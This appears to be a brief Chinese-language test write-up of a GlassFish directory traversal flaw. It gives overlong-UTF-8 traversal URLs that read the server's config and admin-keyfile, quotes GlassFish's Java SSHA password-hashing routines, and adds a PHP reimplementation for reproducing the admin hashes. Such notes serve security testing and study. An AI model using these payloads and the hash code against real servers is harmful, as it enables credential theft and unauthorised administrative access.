GlassFish 目录穿越漏洞测试过程

https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config
https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile

public static String encode(byte[] salt, byte[] hash, String algo)
{       
    boolean isSHA = false;

    if (algoSHA.equals(algo)) {
        isSHA = true;
    }

    if (!isSHA) {
        assert (hash.length == 32);
    } else {
        assert (hash.length == 20);
    }

    int resultLength = 32;
    if (isSHA) {
        resultLength = 20;
    }

    byte[] res = new byte[resultLength+salt.length];
    System.arraycopy(hash, 0, res, 0, resultLength);
    System.arraycopy(salt, 0, res, resultLength, salt.length);

    GFBase64Encoder encoder = new GFBase64Encoder();
    String encoded = encoder.encode(res);

    String out = SSHA_256_TAG + encoded;
    if(isSHA) {
        out = SSHA_TAG + encoded;
    }

    return out;
}

base64_encode( hash( 明文, SALT ) + SALT )

public static byte[] compute(byte[] salt, byte[] password, String algo)
    throws IllegalArgumentException
{

    byte[] buff = new byte[password.length + salt.length];
    System.arraycopy(password, 0, buff, 0, password.length);
    System.arraycopy(salt, 0, buff, password.length, salt.length);

    byte[] hash = null;

    boolean isSHA = false;
    if(algoSHA.equals(algo)) {
        isSHA = true;
    }

    MessageDigest md = null;
    try {
        md = MessageDigest.getInstance(algo);
    } catch (Exception e) {
        throw new IllegalArgumentException(e);
    }

    assert (md != null);
    md.reset();
    hash = md.digest(buff);

    if (!isSHA) {
        for (int i = 2; i <= 100; i++) {
            md.reset();
            md.update(hash);
            hash = md.digest();
        }
    }    
    if (isSHA) {
        assert (hash.length == 20); // SHA output is 20 bytes
    }
    else {
        assert (hash.length == 32); //SHA-256 output is 32 bytes
    }
    return hash;
}

<?php
$algo = 'sha256';
$e = $plain . $salt;

$data = hash($algo, $e, true);

if ($algo == 'sha256') {
    for ($i = 2; $i <= 100; $i++) {
        $data = hash($algo, $data, true);
    }
}

echo base64_encode($data . $salt);